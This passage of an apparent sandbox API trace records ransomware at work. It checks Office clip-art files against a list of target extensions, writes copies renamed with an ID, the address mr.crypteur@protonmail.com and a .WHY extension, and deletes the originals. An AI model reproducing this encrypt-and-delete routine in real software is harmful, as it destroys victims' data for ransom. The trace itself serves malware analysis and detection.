lpString2=".GIF") returned 1 [0240.741] lstrlenW (lpString=".xlsx") returned 5 [0240.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.741] lstrlenW (lpString=".ppt") returned 4 [0240.742] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0240.742] lstrlenW (lpString=".zip") returned 4 [0240.742] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.742] lstrlenW (lpString=".rar") returned 4 [0240.742] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.742] lstrlenW (lpString=".bz2") returned 4 [0240.742] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.742] lstrlenW (lpString=".7z") returned 3 [0240.742] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0240.742] lstrlenW (lpString=".dbf") returned 4 [0240.742] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0240.743] lstrlenW (lpString=".1cd") returned 4 [0240.743] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0240.743] lstrlenW (lpString=".jpg") returned 4 [0240.743] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.743] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0240.743] lstrlenW (lpString="AG00167_.GIF") returned 12 [0240.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0240.746] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=4894) returned 1 [0240.746] CloseHandle (hObject=0x3a4) returned 1 [0240.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0240.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0240.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0240.747] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.747] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0240.748] GetLastError () returned 0x0 [0240.748] ReadFile (in: hFile=0x3a4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x131e, lpOverlapped=0x0) returned 1 [0240.805] WriteFile (in: hFile=0x258, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x1320, lpOverlapped=0x0) returned 1 [0240.808] ReadFile (in: hFile=0x3a4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0240.808] WriteFile (in: hFile=0x258, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.809] SetEndOfFile (hFile=0x258) returned 1 [0240.809] CloseHandle (hObject=0x258) returned 1 [0240.814] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.814] SetEndOfFile (hFile=0x3a4) returned 1 [0240.822] CloseHandle (hObject=0x3a4) returned 1 [0240.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0240.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0240.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0240.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0240.824] lstrlenW (lpString=".doc") returned 4 [0240.824] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.824] lstrlenW (lpString=".docx") returned 5 [0240.824] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.824] lstrlenW (lpString=".pdf") returned 4 [0240.824] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.824] lstrlenW (lpString=".xls") returned 4 [0240.824] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0240.824] lstrlenW (lpString=".xlsx") returned 5 [0240.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.825] lstrlenW (lpString=".ppt") returned 4 [0240.825] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0240.825] lstrlenW (lpString=".zip") returned 4 [0240.825] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.825] lstrlenW (lpString=".rar") returned 4 [0240.825] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.825] lstrlenW (lpString=".bz2") returned 4 [0240.825] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.825] lstrlenW (lpString=".7z") returned 3 [0240.825] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0240.825] lstrlenW (lpString=".dbf") returned 4 [0240.826] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0240.826] lstrlenW (lpString=".1cd") returned 4 [0240.826] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0240.826] lstrlenW (lpString=".jpg") returned 4 [0240.826] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0240.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0240.826] lstrlenW (lpString=".doc") returned 4 [0240.826] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.827] lstrlenW (lpString=".docx") returned 5 [0240.827] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.828] lstrlenW (lpString=".pdf") returned 4 [0240.828] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.828] lstrlenW (lpString=".xls") returned 4 [0240.828] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0240.828] lstrlenW (lpString=".xlsx") returned 5 [0240.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.828] lstrlenW (lpString=".ppt") returned 4 [0240.828] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0240.828] lstrlenW (lpString=".zip") returned 4 [0240.828] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.829] lstrlenW (lpString=".rar") returned 4 [0240.829] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.829] lstrlenW (lpString=".bz2") returned 4 [0240.829] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.829] lstrlenW (lpString=".7z") returned 3 [0240.829] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0240.829] lstrlenW (lpString=".dbf") returned 4 [0240.829] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0240.829] lstrlenW (lpString=".1cd") returned 4 [0240.829] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0240.830] lstrlenW (lpString=".jpg") returned 4 [0240.830] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.830] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0240.830] lstrlenW (lpString="AG00170_.GIF") returned 12 [0240.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0240.831] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=9248) returned 1 [0240.831] CloseHandle (hObject=0x3a4) returned 1 [0240.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0240.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0240.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0240.832] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.832] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0240.833] GetLastError () returned 0x0 [0240.834] ReadFile (in: hFile=0x3a4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x2420, lpOverlapped=0x0) returned 1 [0241.063] WriteFile (in: hFile=0x258, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x2430, lpOverlapped=0x0) returned 1 [0241.067] ReadFile (in: hFile=0x3a4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0241.067] WriteFile (in: hFile=0x258, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0241.067] SetEndOfFile (hFile=0x258) returned 1 [0241.067] CloseHandle (hObject=0x258) returned 1 [0241.510] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.510] SetEndOfFile (hFile=0x3a4) returned 1 [0241.517] CloseHandle (hObject=0x3a4) returned 1 [0241.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0242.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0242.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0242.316] lstrlenW (lpString=".doc") returned 4 [0242.316] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0242.316] lstrlenW (lpString=".docx") returned 5 [0242.316] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0242.316] lstrlenW (lpString=".pdf") returned 4 [0242.316] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0242.316] lstrlenW (lpString=".xls") returned 4 [0242.316] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0242.316] lstrlenW (lpString=".xlsx") returned 5 [0242.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0242.316] lstrlenW (lpString=".ppt") returned 4 [0242.316] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0242.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0242.317] lstrlenW (lpString=".zip") returned 4 [0242.317] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0242.317] lstrlenW (lpString=".rar") returned 4 [0242.317] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0242.317] lstrlenW (lpString=".bz2") returned 4 [0242.317] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0242.317] lstrlenW (lpString=".7z") returned 3 [0242.317] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0242.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0242.317] lstrlenW (lpString=".dbf") returned 4 [0242.317] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0242.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0242.317] lstrlenW (lpString=".1cd") returned 4 [0242.318] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0242.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0242.318] lstrlenW (lpString=".jpg") returned 4 [0242.318] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0242.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0242.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0242.318] lstrlenW (lpString=".doc") returned 4 [0242.318] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0242.318] lstrlenW (lpString=".docx") returned 5 [0242.318] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0242.318] lstrlenW (lpString=".pdf") returned 4 [0242.318] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0242.318] lstrlenW (lpString=".xls") returned 4 [0242.319] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0242.319] lstrlenW (lpString=".xlsx") returned 5 [0242.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0242.319] lstrlenW (lpString=".ppt") returned 4 [0242.319] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0242.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0242.319] lstrlenW (lpString=".zip") returned 4 [0242.319] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0242.319] lstrlenW (lpString=".rar") returned 4 [0242.319] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0242.319] lstrlenW (lpString=".bz2") returned 4 [0242.319] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0242.319] lstrlenW (lpString=".7z") returned 3 [0242.319] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0242.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0242.320] lstrlenW (lpString=".dbf") returned 4 [0242.320] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0242.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0242.320] lstrlenW (lpString=".1cd") returned 4 [0242.320] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0242.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0242.320] lstrlenW (lpString=".jpg") returned 4 [0242.320] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0242.320] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0242.321] lstrlenW (lpString="AN00790_.WMF") returned 12 [0242.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0242.367] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=5684) returned 1 [0242.367] CloseHandle (hObject=0x354) returned 1 [0242.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0242.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0242.441] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.441] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0242.700] GetLastError () returned 0x0 [0242.700] ReadFile (in: hFile=0x3a4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x1634, lpOverlapped=0x0) returned 1 [0242.705] WriteFile (in: hFile=0x384, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x1640, lpOverlapped=0x0) returned 1 [0242.707] ReadFile (in: hFile=0x3a4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.708] WriteFile (in: hFile=0x384, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.708] SetEndOfFile (hFile=0x384) returned 1 [0242.708] CloseHandle (hObject=0x384) returned 1 [0242.709] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.710] SetEndOfFile (hFile=0x3a4) returned 1 [0242.718] CloseHandle (hObject=0x3a4) returned 1 [0242.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0242.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0242.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0242.732] lstrlenW (lpString=".doc") returned 4 [0242.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.732] lstrlenW (lpString=".docx") returned 5 [0242.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.732] lstrlenW (lpString=".pdf") returned 4 [0242.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.732] lstrlenW (lpString=".xls") returned 4 [0242.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.732] lstrlenW (lpString=".xlsx") returned 5 [0242.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.732] lstrlenW (lpString=".ppt") returned 4 [0242.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0242.733] lstrlenW (lpString=".zip") returned 4 [0242.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.733] lstrlenW (lpString=".rar") returned 4 [0242.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.733] lstrlenW (lpString=".bz2") returned 4 [0242.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.733] lstrlenW (lpString=".7z") returned 3 [0242.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0242.733] lstrlenW (lpString=".dbf") returned 4 [0242.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0242.733] lstrlenW (lpString=".1cd") returned 4 [0242.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0242.734] lstrlenW (lpString=".jpg") returned 4 [0242.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0242.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0242.734] lstrlenW (lpString=".doc") returned 4 [0242.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.734] lstrlenW (lpString=".docx") returned 5 [0242.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.734] lstrlenW (lpString=".pdf") returned 4 [0242.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.735] lstrlenW (lpString=".xls") returned 4 [0242.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.735] lstrlenW (lpString=".xlsx") returned 5 [0242.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.735] lstrlenW (lpString=".ppt") returned 4 [0242.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0242.735] lstrlenW (lpString=".zip") returned 4 [0242.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.735] lstrlenW (lpString=".rar") returned 4 [0242.735] lstrcmpiW (lpString1=".rar", 